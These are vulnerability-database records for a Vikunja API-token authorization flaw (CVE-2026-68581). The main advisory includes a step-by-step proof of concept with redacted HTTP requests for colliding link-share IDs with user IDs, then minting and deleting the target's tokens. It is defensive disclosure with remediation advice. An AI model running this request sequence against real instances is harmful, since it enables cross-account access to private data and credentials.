{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:golang/code.vikunja.io/api",
          "product": "vikunja",
          "vendor": "go-vikunja",
          "versions": [
            {
              "lessThan": "2.4.0",
              "status": "affected",
              "version": "0.22.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vikunja versions 0.22.0 through 2.3.0 fail to validate the principal type in API token management. Because user IDs and link-share IDs are independent numeric sequences and both resolve through a generic web.Auth.GetID() interface, a link-share JWT whose numeric ID equals a target user\u0027s ID is treated as that user by the /api/v1/tokens endpoints. An authenticated attacker can obtain a target\u0027s numeric user ID via authenticated user search, then create link shares on an attacker-writable project until the link-share sequence reaches that value, and use the resulting link-share JWT to list, create, and delete the target user\u0027s API tokens (including issuing a new token with attacker-chosen scopes under the target\u0027s permissions). Fixed in version 2.4.0."
    },
    {
      "lang": "es",
      "value": "Las versiones de Vikunja 0.22.0 a 2.3.0 no validan el tipo de principal en la gesti\u00f3n de tokens de API. Debido a que los ID de usuario y los ID de enlace compartido son secuencias num\u00e9ricas independientes y ambos se resuelven a trav\u00e9s de una interfaz gen\u00e9rica web.Auth.GetID(), un JWT de enlace compartido cuyo ID num\u00e9rico es igual al ID de un usuario objetivo es tratado como ese usuario por los endpoints /api/v1/tokens. Un atacante autenticado puede obtener el ID de usuario num\u00e9rico de un objetivo a trav\u00e9s de una b\u00fasqueda de usuario autenticada, luego crear enlaces compartidos en un proyecto escribible por el atacante hasta que la secuencia de enlaces compartidos alcance ese valor, y usar el JWT de enlace compartido resultante para listar, crear y eliminar los tokens de API del usuario objetivo (incluyendo la emisi\u00f3n de un nuevo token con alcances elegidos por el atacante bajo los permisos del objetivo). Corregido en la versi\u00f3n 2.4.0."
    }
  ],
  "id": "CVE-2026-68581",
  "lastModified": "2026-10-23T22:10:00.160",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-68581",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-03T15:00:37.506412Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-02T13:16:54.087",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/go-vikunja/vikunja/commit/95b7e673fb5ee407498fa4b13e8b4c57847a4a0b"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/go-vikunja/vikunja/commit/e6b25bd57b537ef9a72b5acdadf446ca5ef77bfa"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vvcv-vpph-h844"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/vikunja-through-authentication-bypass-via-principal-id-collision"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vvcv-vpph-h844"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "last_affected": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:42:06Z",
    "nvd_published_at": "2026-08-02T13:16:54Z",
    "severity": "HIGH"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-vvcv-vpph-h844. This link is maintained to preserve external references.\n\n### Original Description\nVikunja versions 0.22.0 through 2.3.0 fail to validate the principal type in API token management. Because user IDs and link-share IDs are independent numeric sequences and both resolve through a generic web.Auth.GetID() interface, a link-share JWT whose numeric ID equals a target user\u0027s ID is treated as that user by the /api/v1/tokens endpoints. An authenticated attacker can obtain a target\u0027s numeric user ID via authenticated user search, then create link shares on an attacker-writable project until the link-share sequence reaches that value, and use the resulting link-share JWT to list, create, and delete the target user\u0027s API tokens (including issuing a new token with attacker-chosen scopes under the target\u0027s permissions). Fixed in version 2.4.0.",
  "id": "GHSA-9jrx-vmh8-c6xw",
  "modified": "2026-10-09T20:42:06Z",
  "published": "2026-08-02T15:30:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vvcv-vpph-h844"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68581"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/95b7e673fb5ee407498fa4b13e8b4c57847a4a0b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/e6b25bd57b537ef9a72b5acdadf446ca5ef77bfa"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-through-authentication-bypass-via-principal-id-collision"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Vikunja: Link-share principal ID collision allows cross-account API token issuance and management",
  "withdrawn": "2026-10-09T20:42:06Z"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:42:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Executive Summary\n\nVikunja accepts both regular-user JSON Web Tokens (JWTs) and link-share JWTs through its generic authenticated API route group. A link-share JWT resolves to a `models.LinkSharing` principal whose `GetID()` method returns the numeric `link_shares.id`. The API-token management model then treats that generic numeric value as a `users.id` when it creates, lists, and deletes API tokens.\n\nBecause `users.id` and `link_shares.id` are independent positive sequences, a link share whose ID equals another user\u0027s ID is treated as that user by `/api/v1/tokens`. An ordinary authenticated attacker can obtain a target\u0027s numeric user ID through authenticated user search and create link shares on an attacker-writable project until the link-share sequence reaches that value. The colliding link-share principal can then list the target\u0027s API-token metadata, issue a new API token owned by the target, and delete target-owned API tokens. The newly issued token operates with attacker-selected valid API scopes under the target user\u0027s existing permissions.\n\nI reviewed the vulnerable `v2.3.0` source, the introducing commit, the stable tag history, and the inspected main revision directly. I also reviewed the recorded local HTTP and native-router validation results. Dynamic testing used only a local `v2.3.0` Docker deployment with PostgreSQL and synthetic data; I did not test any public, hosted, or otherwise external instance. Historical tags were checked from source rather than exercised dynamically.\n\n| Field | Value |\n| --- | --- |\n| Product | Vikunja API |\n| Status | Validated; disclosure-ready |\n| Confirmed affected stable versions | `v0.22.0` through `v2.3.0`, inclusive |\n| Nearest confirmed unaffected stable version | `v0.21.0` |\n| Introducing commit | `e6b25bd57b537ef9a72b5acdadf446ca5ef77bfa` |\n| Latest inspected affected main revision | `95b7e673fb5ee407498fa4b13e8b4c57847a4a0b` |\n| Fixed version | Unknown; no verified fix commit or release was identified |\n| Severity | High, CVSS v3.1 score 8.1 |\n| Vector | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` |\n| Weakness | Primary: CWE-863 (Incorrect Authorization); secondary: CWE-639 |\n\nThe stable range is source-based. The issue first became reachable when commit `e6b25bd57b...` added the authenticated API-token CRUD routes while retaining the generic `web.Auth.GetID()` ownership model. `v0.21.0` does not contain the API-token model or these routes. All containing stable tags from `v0.22.0` through `v2.3.0` retain the vulnerable source-to-sink tuple. Downstream forks and vendor-specific builds were not assessed.\n\n## Background\n\n### Two authenticated principal types share one numeric interface\n\nVikunja\u0027s authenticated route group is protected by a common token middleware. That middleware can establish a regular user, an API-token owner, or a link share as the request\u0027s `web.Auth` principal. The `/api/v1/tokens` handlers are registered on this generic group in `pkg/routes/routes.go`:\n\n```go\na.Use(SetupTokenMiddleware())\n\n// API Tokens\napiTokenProvider := \u0026handler.WebHandler{\n\tEmptyStruct: func() handler.CObject {\n\t\treturn \u0026models.APIToken{}\n\t},\n}\na.GET(\"/tokens\", apiTokenProvider.ReadAllWeb)\na.PUT(\"/tokens\", apiTokenProvider.CreateWeb)\na.DELETE(\"/tokens/:token\", apiTokenProvider.DeleteWeb)\n```\n\nThe security-sensitive detail is that authentication answers *which object is the principal*, while `web.Auth.GetID()` exposes only an untyped integer. A regular user\u0027s ID belongs to the `users` namespace. A link-share ID belongs to the separately allocated `link_shares` namespace. Equality between those integers does not imply that the principals represent the same actor.\n\n### Link-share authentication preserves the share-row ID\n\n`pkg/modules/auth/auth.go` creates a link-share JWT with the share\u0027s numeric ID and later resolves that token to a `models.LinkSharing` object:\n\n```go\nclaims[\"type\"] = AuthTypeLinkShare\nclaims[\"id\"] = share.ID\nclaims[\"hash\"] = share.Hash\nclaims[\"project_id\"] = share.ProjectID\n\n// ...\n\nif typ == AuthTypeLinkShare \u0026\u0026 config.ServiceEnableLinkSharing.GetBool() {\n\ts := db.NewSession()\n\tdefer s.Close()\n\treturn models.GetLinkShareFromClaims(s, claims)\n}\n```\n\nThe `LinkSharing` model declares its own positive auto-incrementing key and returns it unchanged through the generic interface in `pkg/models/link_sharing.go`:\n\n```go\ntype LinkSharing struct {\n\tID int64 `xorm:\"bigint autoincr not null unique pk\" json:\"id\" param:\"share\"`\n\t// ...\n}\n\nfunc (share *LinkSharing) GetID() int64 {\n\treturn share.ID\n}\n```\n\nLink shares are expected to act within the shared project\u0027s permission boundary. API-token management is instead a user-account credential boundary: tokens are owned by users and can authorize future requests as those users. The normal invariant should therefore be that only a positively identified regular-user principal may enter API-token management, and its user ID must be used as the owner key.\n\n### Attacker capabilities\n\nThe validated attacker is an ordinary authenticated user, not an administrator. The attacker needs a project they own or can write to so that they can create ordinary link shares. Authenticated user search exposes the matching user\u0027s numeric `id` while blanking email addresses in `pkg/routes/api/v1/user_list.go`:\n\n```go\nusers, err := user.ListUsers(s, search, currentUser, nil)\n// ...\nfor in := range users {\n\tusers[in].Email = \"\"\n}\nreturn c.JSON(http.StatusOK, users)\n```\n\nThat response makes the collision target directly discoverable in the tested default flow. An operator\u0027s registration policy or user-search restrictions may alter practical target selection, but they do not restore the missing principal-type check at the API-token boundary.\n\n## Vulnerability Details\n\n### Source-to-sink walkthrough\n\nWe first authenticate an ordinary attacker account and learn a candidate `\u003cTARGET_USER_ID\u003e` through `GET /api/v1/users`. We then create link shares on an attacker-writable project. `LinkSharing.Create` resets the caller-supplied ID and lets the database allocate the next value:\n\n```go\nfunc (share *LinkSharing) Create(s *xorm.Session, a web.Auth) (err error) {\n\t// permission and hash generation omitted\n\tshare.SharedByID = a.GetID()\n\t// ...\n\tshare.ID = 0\n\t_, err = s.Insert(share)\n\treturn\n}\n```\n\nThe two database sequences advance independently. When a newly created share has `share.ID == \u003cTARGET_USER_ID\u003e`, authenticating that share gives us a valid, server-issued link-share JWT. `GetAuthFromClaims` resolves it back to the `LinkSharing` row, so the principal passed to generic handlers now returns `\u003cTARGET_USER_ID\u003e` from `GetID()` even though it is not a user.\n\nFrom here, the API-token model crosses the namespace boundary without checking the principal type. Token creation in `pkg/models/api_tokens.go` assigns the generic ID directly to the user-owned `owner_id` column:\n\n```go\nfunc (t *APIToken) Create(s *xorm.Session, a web.Auth) (err error) {\n\t// token generation omitted\n\tt.OwnerID = a.GetID()\n\n\tif err := PermissionsAreValid(t.APIPermissions); err != nil {\n\t\treturn err\n\t}\n\t_, err = s.Insert(t)\n\treturn err\n}\n```\n\nThere is no compensating permission check: `CanCreate` accepts every `web.Auth` implementation.\n\n```go\nfunc (t *APIToken) CanCreate(_ *xorm.Session, _ web.Auth) (bool, error) {\n\treturn true, nil\n}\n```\n\nIf we carry the colliding value into listing, `ReadAll` uses the same generic integer as an owner filter:\n\n```go\nvar where builder.Cond = builder.Eq{\"owner_id\": a.GetID()}\n```\n\nThe list response reveals target-owned token IDs, titles, permission sets, expiry, and creation metadata. It does **not** disclose the raw values of existing target tokens. The more consequential confidentiality path is the new credential returned once at creation: because its stored owner is the target, subsequent API-token authentication resolves the target user and enforces the scopes selected in the create request.\n\nDeletion is the third manifestation of the same missed invariant. Both the permission decision and mutation compare only numeric ownership:\n\n```go\nfunc (t *APIToken) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {\n\ttoken, err := GetAPITokenByID(s, t.ID)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif token.OwnerID != a.GetID() {\n\t\treturn false, nil\n\t}\n\t*t = *token\n\treturn true, nil\n}\n\nfunc (t *APIToken) Delete(s *xorm.Session, a web.Auth) (err error) {\n\t_, err = s.Where(\"id = ? AND owner_id = ?\", t.ID, a.GetID()).\n\t\tDelete(\u0026APIToken{})\n\treturn err\n}\n```\n\nCreate, list, and delete are therefore one vulnerability family. They share the same entry point, principal-namespace collision, owner interpretation, and required remediation. Treating the list or delete behavior as separate reports would duplicate the root cause rather than describe independent bugs.\n\n### Expected and actual authorization behavior\n\n| Request with a link-share JWT | Expected | Actual on `v2.3.0` |\n| --- | --- | --- |\n| `GET /api/v1/tokens` | `401` or `403` | `200`; colliding user\u0027s token metadata returned |\n| `PUT /api/v1/tokens` | `401` or `403`; no row created | `201`; token row created with the colliding user as owner |\n| `DELETE /api/v1/tokens/\u003cTOKEN_ID\u003e` | `401` or `403`; row retained | `200`; colliding user\u0027s token row deleted |\n\nA positive control using a regular-user JWT returned `200`, `201`, and `200` for the same GET, PUT, and DELETE sequence. A fix can therefore reject the link-share principal without changing the intended user-facing API contract.\n\n## Exploitability Analysis\n\n### Strongest validated route: issue a target-owned scoped token\n\nThe strongest route is credential issuance rather than metadata listing. We choose a valid API permission set supported by the target version, submit it through the colliding link-share principal, and receive a one-time API token. The database owner field points to `\u003cTARGET_USER_ID\u003e`. When that token is later presented to an allowed route, normal API-token authentication loads the target user from that owner ID. In the local validation, this path read a private project belonging to the synthetic target.\n\nThe token can also be created with valid write-capable scopes from Vikunja\u0027s registered permission catalogue. The impact is bounded by both the selected token scopes and the target user\u0027s current permissions; this report does not claim access to every endpoint, administrator privileges, instance-wide compromise, or execution outside the application.\n\n### Reliability and reachability constraints\n\nThe selected target user ID must be greater than or equal to the next link-share sequence value. If the sequence has already passed a target\u0027s ID, creating or deleting additional shares cannot move it backward. The validated database behavior was monotonic: deletion did not reuse an ID, and the next share received the next higher value.\n\nWork scales linearly with the gap between the next share ID and `\u003cTARGET_USER_ID\u003e`: one ordinary share creation is needed per sequence step. The local normal-API validation reached its chosen collision after four bounded share creations. No create-specific per-project share quota was found in the inspected path.\n\nRate limiting is disabled by default. When enabled with the source defaults, the limit is 100 requests per 60 seconds. That control can slow a large sequence walk, especially when combined with reverse-proxy limits, but it does not remove the authorization flaw; requests can be paced. Very large ID gaps, custom quotas, user-search restrictions, disabled link sharing, or deployment- specific controls can reduce practicality.\n\n### Additional manifestations and boundaries\n\nListing target-token metadata is useful for selecting a token ID for deletion and reveals credential-management state, but not existing raw token values. Deletion can revoke a target\u0027s integrations or alter their credential state. Both are integrity-relevant manifestations of the same collision used for issuance.\n\nNo service-level availability impact was established; token deletion is scored as integrity impact, so the vector uses `A:N`. The validated primitive does not establish browser-session takeover, password change, TOTP bypass, remote code execution, or an administrator boundary bypass. Adjacent user-account routes reviewed during validation either rejected link shares explicitly or depended on claims absent from issuer-generated link-share JWTs.\n\n### Severity and weakness mapping\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` scores **8.1 High**.\n\n- `AV:N`: the vulnerable HTTP API is remotely reachable when the deployment exposes Vikunja normally.\n- `AC:L`: no race, secret target identifier, or non-default setting is needed in the validated default flow. The monotonic reachability condition and request count affect target selection and effort, but not an outcome beyond the attacker\u0027s control once a reachable target is chosen.\n- `PR:L`: an ordinary authenticated account with a writable project is enough.\n- `UI:N`: no target-user action is required.\n- `S:U`: the confused authorization remains within Vikunja\u0027s security authority.\n- `C:H/I:H`: a target-owned token can expose private target data and exercise selected valid write scopes under the target\u0027s permissions; the attacker can also create and delete target-owned credentials.\n- `A:N`: no service-level availability impact was validated.\n\nThe primary weakness is CWE-863 because a principal type is not authorized before a user-owned credential operation. CWE-639 is a useful secondary label for the numeric owner-key collision, but it describes the same failure rather than a second vulnerability.\n\n## Proof of Concept\n\n### Safety and prerequisites\n\nUse a disposable local deployment with synthetic accounts and data. Do not run this sequence against a public or third-party instance. The requests below are deliberately discrete and redacted; no automation or runnable exploit is included.\n\nPrerequisites:\n\n1. Link sharing is enabled.\n2. A synthetic ordinary attacker account can search users.\n3. The attacker owns or can write to `\u003cATTACKER_PROJECT_ID\u003e`.\n4. `\u003cTARGET_USER_ID\u003e` is at or above the next link-share ID.\n5. The target owns `\u003cTARGET_PRIVATE_PROJECT_ID\u003e` and the attacker account cannot read it before the test.\n\n### Minimal redacted request sequence\n\nFirst, we discover the synthetic target\u0027s numeric ID using the ordinary attacker session:\n\n```http\nGET /api/v1/users?s=\u003cREDACTED_TARGET_USERNAME\u003e HTTP/1.1\nHost: \u003cLOCAL_VIKUNJA_HOST\u003e\nAuthorization: Bearer \u003cREDACTED_ATTACKER_JWT\u003e\n```\n\nThe relevant redacted response field is:\n\n```text\nid=\u003cTARGET_USER_ID\u003e\n```\n\nNext, we create an ordinary link share on an attacker-writable project. Repeat this request as individual lab actions only while the returned ID is lower than `\u003cTARGET_USER_ID\u003e`; stop immediately if it is higher.\n\n```http\nPUT /api/v1/projects/\u003cATTACKER_PROJECT_ID\u003e/shares HTTP/1.1\nHost: \u003cLOCAL_VIKUNJA_HOST\u003e\nAuthorization: Bearer \u003cREDACTED_ATTACKER_JWT\u003e\nContent-Type: application/json\n\n{\"name\":\"collision-validation\",\"permission\":0}\n```\n\nAt the vulnerable state, the server returns a share whose redacted values satisfy:\n\n```text\n\u003cCREATED_SHARE_ID\u003e == \u003cTARGET_USER_ID\u003e\n\u003cREDACTED_SHARE_HASH\u003e identifies that share\n```\n\nWe authenticate the colliding share through the normal link-share endpoint:\n\n```http\nPOST /api/v1/shares/\u003cREDACTED_SHARE_HASH\u003e/auth HTTP/1.1\nHost: \u003cLOCAL_VIKUNJA_HOST\u003e\nContent-Type: application/json\n\n{}\n```\n\nStore the returned credential only as `\u003cREDACTED_LINK_SHARE_JWT\u003e`. With that server-issued link-share JWT, the following request should be rejected but is accepted on `v2.3.0`:\n\n```http\nGET /api/v1/tokens HTTP/1.1\nHost: \u003cLOCAL_VIKUNJA_HOST\u003e\nAuthorization: Bearer \u003cREDACTED_LINK_SHARE_JWT\u003e\n```\n\nThe response returns metadata for tokens owned by `\u003cTARGET_USER_ID\u003e`. It does not return their raw credential values.\n\nWe then request a new token with a narrow read scope sufficient for the private project check:\n\n```http\nPUT /api/v1/tokens HTTP/1.1\nHost: \u003cLOCAL_VIKUNJA_HOST\u003e\nAuthorization: Bearer \u003cREDACTED_LINK_SHARE_JWT\u003e\nContent-Type: application/json\n\n{\n  \"title\": \"collision-validation\",\n  \"permissions\": {\"projects\": [\"read_one\"]},\n  \"expires_at\": \"\u003cFUTURE_TIMESTAMP\u003e\"\n}\n```\n\nRecord the one-time returned value only as `\u003cREDACTED_CREATED_API_TOKEN\u003e` and the returned row ID only as `\u003cCREATED_TOKEN_ID\u003e`. Presenting the new token to the target\u0027s private project endpoint demonstrates the cross-account result:\n\n```http\nGET /api/v1/projects/\u003cTARGET_PRIVATE_PROJECT_ID\u003e HTTP/1.1\nHost: \u003cLOCAL_VIKUNJA_HOST\u003e\nAuthorization: Bearer \u003cREDACTED_CREATED_API_TOKEN\u003e\n```\n\nExpected secure behavior is rejection because the attacker account has no access to that project and a link share should never mint a user-owned API token. Actual vulnerable behavior is a successful response under the target user\u0027s project permissions.\n\nFinally, the same colliding link-share JWT can delete a target-owned token:\n\n```http\nDELETE /api/v1/tokens/\u003cTARGET_TOKEN_ID\u003e HTTP/1.1\nHost: \u003cLOCAL_VIKUNJA_HOST\u003e\nAuthorization: Bearer \u003cREDACTED_LINK_SHARE_JWT\u003e\n```\n\nOn a vulnerable target, this returns success and removes the matching target-owned row. A secure implementation should return `401` or `403` and retain the row.\n\n### Representative validated result\n\n```text\nuser_search_exposed_target_id=true\ncollision_is_exact=true\nbounded_share_creations=4\ncreated_token_owner_is_target=true\ncreated_token_read_target_private_project=true\nlink_share_get_tokens_status=200\nlink_share_put_tokens_status=201\nlink_share_delete_token_status=200\nregular_user_positive_control=passed\n```\n\nAll values in this report are symbolic or redacted. The local validation removed the created API-token rows, link-share rows, and explicit test projects; cleanup counts were zero. Raw JWTs, API tokens, existing target-token values, passwords, cookies, and authorization values were not retained in the report.\n\n## Remediation\n\n### Restore a typed principal invariant\n\nEvery API-token management operation should positively require a regular-user principal before any numeric ID reaches an owner comparison, query, insertion, or deletion. A denylist that rejects only `LinkSharing` would be weaker because future `web.Auth` implementations could recreate the same namespace confusion. The safer invariant is: *API-token ownership is derived only from a verified user principal and never from a generic `GetID()` value*.\n\nOne possible shape is a shared resolver used by create, list, delete, and their permission methods. The following is illustrative rather than an applied patch; the concrete error should follow Vikunja\u0027s existing permission-error conventions:\n\n```go\nfunc apiTokenUserID(a web.Auth) (int64, bool) {\n\tu, ok := a.(*user.User)\n\tif !ok || u.ID \u003c= 0 {\n\t\treturn 0, false\n\t}\n\treturn u.ID, true\n}\n```\n\nEach API-token method should fail closed when the boolean is false, then use the returned `userID` for every `owner_id` operation. Applying the check only to creation would leave metadata disclosure and deletion exposed; applying it only in route registration would leave model-level callers dependent on a fragile external invariant. Defense in depth at both the route/service boundary and the user-owned model boundary is preferable.\n\nLonger term, principal identity should include its namespace or type rather than relying on interchangeable integers. A typed principal discriminator, separate interfaces for user-owned operations, or a structured identity such as `(principal_type, principal_id)` would make this class of collision harder to introduce elsewhere.\n\n### Regression coverage\n\nAdd full-router tests using a real issuer-generated link-share JWT whose share ID equals a fixture user\u0027s ID. The secure assertions should be:\n\n- link-share `GET /api/v1/tokens` returns `401` or `403` and exposes no target token metadata;\n- link-share `PUT /api/v1/tokens` returns `401` or `403` and creates no row;\n- link-share `DELETE /api/v1/tokens/\u003cTOKEN_ID\u003e` returns `401` or `403` and retains the target row;\n- regular-user JWT GET, PUT, and DELETE retain their existing successful behavior;\n- a non-user `web.Auth` test double with a colliding positive ID is rejected, preventing the fix from depending on one concrete link-share type.\n\nThe current vulnerable `v2.3.0` router produced `200`, `201`, and `200` for the three negative cases, including the expected create/delete database side effects. Those tests should pass only after the typed-principal invariant is implemented. Any fix should also be verified against the inspected main revision, whose API-token model has evolved but still lacks a positive regular-user gate.\n\n### Disclosure and redaction notes\n\nThis report is prepared for private coordinated disclosure and has not been submitted or published. A review of the public official advisory index did not identify the same API-token principal-ID collision root cause, but that screen cannot rule out private, pending, or future duplicates. No fixed version is claimed.\n\nThe reproduction uses only symbolic placeholders and synthetic observations. No raw credential, real account identifier, internal host detail, or external target result is included. No product patch, automated exploit, public issue, or pull request accompanies this report.\n\n## Summary\n\nVikunja routes API-token management through a generic authenticated principal and derives user-owned token authorization from `web.Auth.GetID()`. A link-share principal returns its independent share-row ID through that same interface. When the numeric values collide, the application mistakes a link share for an unrelated user at the API-token owner boundary.\n\nWe can steer the reachable collision through ordinary authenticated user search and link-share creation when the target ID has not already been passed. From the colliding share, the validated behavior lists target-owned token metadata, issues a scoped API token owned by the target, uses that credential under the target\u0027s project permissions, and deletes target-owned tokens. The strongest demonstrated impact is cross-account confidentiality and integrity, not browser-session or server compromise.\n\nThe immediate fix is to require a positive regular-user principal throughout API-token management and to cover GET, PUT, and DELETE with negative link-share tests and positive user controls. A broader review of user-owned models that accept generic numeric principals would be useful variant analysis, but no additional vulnerability is claimed here.",
  "id": "GHSA-vvcv-vpph-h844",
  "modified": "2026-10-09T20:42:14Z",
  "published": "2026-10-09T20:42:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vvcv-vpph-h844"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68581"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/95b7e673fb5ee407498fa4b13e8b4c57847a4a0b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/e6b25bd57b537ef9a72b5acdadf446ca5ef77bfa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-through-authentication-bypass-via-principal-id-collision"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja: Link-share principal ID collision allows cross-account API token issuance and management"
}